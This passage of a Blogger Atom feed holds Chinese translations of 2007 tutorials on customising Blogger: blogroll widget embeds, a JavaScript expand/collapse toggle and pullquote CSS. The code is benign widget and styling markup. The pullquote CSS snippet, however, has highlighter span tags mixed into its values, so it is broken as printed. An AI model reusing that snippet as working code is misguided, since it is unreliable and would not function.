#000000;"&gt;'&lt;/span&gt;&lt;span style="color: #000000;"&gt;&amp;quot;,null)&lt;/span&gt;&lt;span style="color: #000000;"&gt;'&lt;/span&gt;&lt;/pre&gt;&lt;br /&gt;　　我并没有测试过。希望它能工作。如果不行，请撤销更改。&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8518521158278941755-7369917897368416527?l=guradian.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://guradian.blogspot.com/feeds/7369917897368416527/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8518521158278941755&amp;postID=7369917897368416527' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8518521158278941755/posts/default/7369917897368416527'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8518521158278941755/posts/default/7369917897368416527'/><link rel='alternate' type='text/html' href='http://guradian.blogspot.com/2007/05/ajax.html' title='[翻译]标签云式 AJAX 标签'/><author><name>Ken Lai</name><uri>http://www.blogger.com/profile/15020180693067382335</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8518521158278941755.post-3876277402061902692</id><published>2007-05-25T00:40:00.000+08:00</published><updated>2007-05-25T21:31:20.774+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Hacks'/><category scheme='http://www.blogger.com/atom/ns#' term='Blogger Hack'/><title type='text'>[翻译]加入 BlogU 学员 Blogroll！！</title><content type='html'>原文：&lt;a href="http://bloggeruniversity.blogspot.com/2007/03/join-blogu-students-blogroll.html"&gt;Join the BlogU Students Blogroll!!&lt;/a&gt;&lt;br /&gt;　　看来大部分人觉得在 BlogU 学院中添加 blogroll 是不错的注意！当然，这是自愿的。如果你从 BlogU 的文章中学到了怎样个性化自己的博客，想加入 &lt;span style="font-style: italic;"&gt;BlogU 学员 Blogroll，&lt;/span&gt;现在就是好机会！！&lt;br /&gt;　　在 blog 中添加  blogroll，我提供了几种不同的显示方案。&lt;br /&gt;&lt;span style="color: rgb(153, 0, 0);"&gt;方案 #1 - 完整的 blogroll:&lt;/span&gt;　&lt;li&gt;经典 Blogger 模板 - 把代码放到侧边栏中你希望显示的位置&lt;/li&gt;&lt;li&gt;Blogger Beta 模板 - 在“控制台-&gt;模板-&gt;页面元素-&gt;添加页面元素”中添加“HTML/JavaScript”，然后粘贴代码。&lt;/li&gt;&lt;br /&gt;&lt;pre class="code"&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;script &lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;language&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;="javascript"&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt; type&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;="text/javascript"&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt; src&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;="http://rpc.blogrolling.com/&lt;br /&gt;display.php?r=10fb2ff44d81d6db5d565673f96537a4"&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;gt;&amp;lt;/&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;script&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;span style="color: rgb(153, 0, 0);"&gt;方案 #2 - 使用按钮显示完整的 blogroll：&lt;/span&gt;&lt;br /&gt;　　和&lt;span style="color: rgb(102, 102, 102);"&gt;方案 #1&lt;/span&gt;步骤相同，不过在添加代码时使用下面的代码：&lt;br /&gt;&lt;pre class="code"&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;a &lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;title&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;="Students of BlogU"&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt; target&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;="_blank"&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt; href&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;="http://www.bloggeruniversity.blogspot.com/"&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;img &lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;border&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;="0"&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt; src&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;="http://h1.ripway.com/anniebluesky/blogustudent.png"&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt; width&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;="80"&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt; height&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;="15"&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;gt;&amp;lt;/&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;a&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;gt;&amp;lt;&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;script &lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;language&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;="javascript"&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt; type&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;="text/javascript"&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt; src&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;="http://rpc.blogrolling.com/&lt;br /&gt;display.php?r=10fb2ff44d81d6db5d565673f96537a4"&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;gt;&amp;lt;/&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;script&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;gt;&lt;/span&gt;&lt;/pre&gt;&lt;br /&gt;&lt;span style="color: rgb(153, 0, 0);"&gt;方案 #3 - 展开/合拢式 blogroll：&lt;/span&gt;&lt;br /&gt;　　&lt;span style="color: rgb(255, 102, 0);"&gt;1...&lt;/span&gt;在 CSS 中添加下面的代码（在&amp;lt;head&amp;gt;和&amp;lt;/head&amp;gt;标签之间）。注意，如果你已经在代码中添加了展开/合拢的代码，&lt;span style="font-weight: bold;"&gt;请跳到第三步&lt;/span&gt;。&lt;br /&gt;&lt;pre class="code"&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;.commenthidden &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;{&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;display&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;:&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;none&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;}&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;&lt;br /&gt;.commentshown &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;{&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;display&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;:&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;inline&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;}&lt;/span&gt;&lt;/pre&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 102, 0);"&gt;　　2...&lt;/span&gt;把下面的代码放到&amp;lt;head&amp;gt;和&amp;lt;/head&amp;gt;标签之间的&lt;span style="font-weight: bold;"&gt;非&lt;/span&gt; CSS 部分中：&lt;br /&gt;&lt;pre class="code"&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;script &lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;type&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;="text/Javascript"&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;gt;&lt;/span&gt;&lt;span style="background-color: rgb(245, 245, 245); color: rgb(0, 0, 0);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="background-color: rgb(245, 245, 245); color: rgb(0, 0, 255);"&gt;function&lt;/span&gt;&lt;span style="background-color: rgb(245, 245, 245); color: rgb(0, 0, 0);"&gt; togglecomments (postid) {&lt;br /&gt;&lt;/span&gt;&lt;span style="background-color: rgb(245, 245, 245); color: rgb(0, 0, 255);"&gt;var&lt;/span&gt;&lt;span style="background-color: rgb(245, 245, 245); color: rgb(0, 0, 0);"&gt; whichpost &lt;/span&gt;&lt;span style="background-color: rgb(245, 245, 245); color: rgb(0, 0, 0);"&gt;=&lt;/span&gt;&lt;span style="background-color: rgb(245, 245, 245); color: rgb(0, 0, 0);"&gt; document.getElementById(postid);&lt;br /&gt;&lt;/span&gt;&lt;span style="background-color: rgb(245, 245, 245); color: rgb(0, 0, 255);"&gt;if&lt;/span&gt;&lt;span style="background-color: rgb(245, 245, 245); color: rgb(0, 0, 0);"&gt; (whichpost.className&lt;/span&gt;&lt;span style="background-color: rgb(245, 245, 245); color: rgb(0, 0, 0);"&gt;==&lt;/span&gt;&lt;span style="background-color: rgb(245, 245, 245); color: rgb(0, 0, 0);"&gt;"&lt;/span&gt;&lt;span style="background-color: rgb(245, 245, 245); color: rgb(0, 0, 0);"&gt;commentshown&lt;/span&gt;&lt;span style="background-color: rgb(245, 245, 245); color: rgb(0, 0, 0);"&gt;"&lt;/span&gt;&lt;span style="background-color: rgb(245, 245, 245); color: rgb(0, 0, 0);"&gt;) { whichpost.className&lt;/span&gt;&lt;span style="background-color: rgb(245, 245, 245); color: rgb(0, 0, 0);"&gt;=&lt;/span&gt;&lt;span style="background-color: rgb(245, 245, 245); color: rgb(0, 0, 0);"&gt;"&lt;/span&gt;&lt;span style="background-color: rgb(245, 245, 245); color: rgb(0, 0, 0);"&gt;commenthidden&lt;/span&gt;&lt;span style="background-color: rgb(245, 245, 245); color: rgb(0, 0, 0);"&gt;"&lt;/span&gt;&lt;span style="background-color: rgb(245, 245, 245); color: rgb(0, 0, 0);"&gt;; } &lt;/span&gt;&lt;span style="background-color: rgb(245, 245, 245); color: rgb(0, 0, 255);"&gt;else&lt;/span&gt;&lt;span style="background-color: rgb(245, 245, 245); color: rgb(0, 0, 0);"&gt; { whichpost.className&lt;/span&gt;&lt;span style="background-color: rgb(245, 245, 245); color: rgb(0, 0, 0);"&gt;=&lt;/span&gt;&lt;span style="background-color: rgb(245, 245, 245); color: rgb(0, 0, 0);"&gt;"&lt;/span&gt;&lt;span style="background-color: rgb(245, 245, 245); color: rgb(0, 0, 0);"&gt;commentshown&lt;/span&gt;&lt;span style="background-color: rgb(245, 245, 245); color: rgb(0, 0, 0);"&gt;"&lt;/span&gt;&lt;span style="background-color: rgb(245, 245, 245); color: rgb(0, 0, 0);"&gt;; }&lt;br /&gt;} &lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;lt;/&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;script&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;gt;&lt;/span&gt;&lt;/pre&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 102, 0);"&gt;　　3...&lt;/span&gt;　　&lt;li&gt;经典 Blogger 模板 - 把代码放到侧边栏中你希望显示的位置　　&lt;/li&gt;&lt;li&gt;Blogger Beta 模板 - 保存后，在“控制台-&gt;模板-&gt;页面元素-&gt;添加页面元素”中添加“HTML/JavaScript”，在窗口中添加下面的代码：&lt;/li&gt;&lt;br /&gt;&lt;pre class="code"&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;a &lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;aiotitle&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;="click to expand"&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt; href&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;="javascript:togglecomments('blogustudents')"&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt; title&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;="Students of BlogU"&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;+/- BlogU Students blogroll&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;lt;/&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;a&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;gt;&amp;lt;&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;br&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;gt;&amp;lt;&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;br&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;div &lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;id&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;="blogustudents"&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt; class&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;="commenthidden"&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;script &lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;language&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;="javascript"&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt; type&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;="text/javascript"&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt; src&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;="http://rpc.blogrolling.com/&lt;br /&gt;display.php?r=10fb2ff44d81d6db5d565673f96537a4"&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;gt;&amp;lt;/&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;script&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;lt;/&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;div&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;gt;&amp;lt;&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;br&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;gt;&lt;/span&gt;&lt;/pre&gt;&lt;br /&gt;&lt;span style="color: rgb(153, 0, 0);"&gt;方案 #4 - 使用按钮的展开/合拢式 blogroll:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;步骤和&lt;span style="color: rgb(102, 102, 102);"&gt;方案 #3&lt;/span&gt;相同，在第三步时使用下面的代码。(请注意这里的设置和侧边栏中的的不同。我喜欢按钮在 +/- 的“外侧”而不是“里侧”。这项设置使得只在点击 +/- 时显示按钮。）&lt;br /&gt;&lt;pre class="code"&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;a &lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;aiotitle&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;="click to expand"&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt; href&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;="javascript:togglecomments('blogustudents')"&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;+/- BlogU Students Blogroll&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;lt;/&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;a&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;gt;&amp;lt;&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;br &lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;/&amp;gt;&amp;lt;&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;br&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;div &lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;class&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;="commenthidden"&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt; id&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;="blogustudents"&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;a &lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;title&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;="Students of BlogU"&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt; target&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;="_blank"&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt; href&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;="http://www.bloggeruniversity.blogspot.com/"&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;img &lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;border&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;="0"&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt; src&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;="http://h1.ripway.com/anniebluesky/blogustudent.png"&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt; width&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;="80"&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt; height&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;="15"&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;gt;&amp;lt;/&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;a&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;script &lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;language&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;="javascript"&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt; type&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;="text/javascript"&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt; src&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;="http://rpc.blogrolling.com/&lt;br /&gt;display.php?r=10fb2ff44d81d6db5d565673f96537a4"&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;gt;&amp;lt;/&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;script&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;lt;/&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;div&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;gt;&lt;/span&gt;&lt;/pre&gt;&lt;br /&gt;　　我自己最喜欢方案#4，因为在 blogroll 有一个非常艺术的按钮&lt;a title="Students of BlogU" href="http://www.bloggeruniversity.blogspot.com/"&gt;&lt;img src="http://h1.ripway.com/anniebluesky/blogustudent.png" border="0" height="15" width="80" /&gt;&lt;/a&gt;！在添加 blogroll 后，发送一封邮件：&lt;br /&gt;&lt;ol&gt;&lt;li&gt;blogger.university@gmail.com&lt;br /&gt;&lt;/li&gt;&lt;li&gt;包含你的博客的标题&lt;/li&gt;&lt;li&gt;包含你的博客的地址&lt;/li&gt;&lt;/ol&gt;当我看到 blogroll 在你的博客中后，我会把你添加你的博客！&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8518521158278941755-3876277402061902692?l=guradian.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://guradian.blogspot.com/feeds/3876277402061902692/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8518521158278941755&amp;postID=3876277402061902692' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8518521158278941755/posts/default/3876277402061902692'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8518521158278941755/posts/default/3876277402061902692'/><link rel='alternate' type='text/html' href='http://guradian.blogspot.com/2007/05/blogu-blogroll.html' title='[翻译]加入 BlogU 学员 Blogroll！！'/><author><name>Ken Lai</name><uri>http://www.blogger.com/profile/15020180693067382335</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8518521158278941755.post-4599069886694373228</id><published>2007-05-22T00:51:00.000+08:00</published><updated>2007-05-22T03:39:08.187+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Hacks'/><category scheme='http://www.blogger.com/atom/ns#' term='Blogger Hack'/><title type='text'>[翻译]用“摘要”（pullquote）打破厌倦</title><content type='html'>&lt;p&gt;原文：&lt;a href="http://bloggeruniversity.blogspot.com/2007/03/pullquotes-to-break-boredom.html"&gt;Pullquotes to Break the Boredom&lt;/a&gt;&lt;/p&gt;&lt;p&gt;　　我非常希望有新的“摘要”（格式）， 但我把所有热情都花在 blogosphere，没有时间来研究“摘要”！&lt;br /&gt;　　今晚，所有的热情都冷却过后，非常非常意外，我真的改变了我的 blog！&lt;br /&gt;　　当我开始建立 &lt;a href="http://buttermilkclouds.blogspot.com/"&gt;Buttermilk Clouds&lt;/a&gt; 时我就爱上了其中的引用格式（blockquote）。线条简单典雅，而且避免引用的文字改变文章的整体感觉。今晚我尝试是否能把它修改成“摘要”（格式）。结果非常不错！（摘要、CSS还有其他一些代码都能按照我希望的方式正常工作。我很容易对不同的东西都感兴趣...） 。就像你看到的，我使用字号稍大的不同字体剧中显示。&lt;br /&gt;　　要想拥有自己时尚的摘要格式，在“模板/编辑 HTML”中，在CSS里面添加下面的代码：&lt;br /&gt;&lt;/p&gt;&lt;pre class="code"&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;.pullquote &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;{&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;&lt;br /&gt;float&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;:&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt; right&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;;&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;&lt;br /&gt;width&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;:&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt; 150px&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;;&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;&lt;br /&gt;margin&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;:&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt; 5px 5px 5px 10px&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;;&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;&lt;br /&gt;padding&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;:&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt; 3px 0&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;;&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;&lt;br /&gt;font&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;:&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt; Verdana, sans-serif&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;;&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;&lt;br /&gt;color&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;:&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt; &amp;lt;span style="color: rgb(153, 0, 0)&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;;&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;"&amp;gt;#555&amp;lt;/span&amp;gt;;&lt;br /&gt;text-align&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;:&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt; center&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;;&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;&lt;br /&gt;font-size&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;:&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt; &amp;lt;span style="color: rgb(102, 102,0)&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;;&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;"&amp;gt;1.4em&amp;lt;/span&amp;gt;;&lt;br /&gt;border-top&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;:&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt; &amp;lt;span style="color: rgb(102, 51, 102)&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;;&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;"&amp;gt;3px double &amp;lt;span style="color&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;:&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt; rgb(255, 102, 0)&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;;&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;"&amp;gt;#ccc&amp;lt;/span&amp;gt;&amp;lt;/span&amp;gt;;&lt;br /&gt;border-bottom&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;:&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt; &amp;lt;span style="color: rgb(102, 51, 102)&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;;&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;"&amp;gt;3px double &amp;lt;span style="color&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;:&lt;/span&gt;&lt;span style="color: rgb(0, 0, 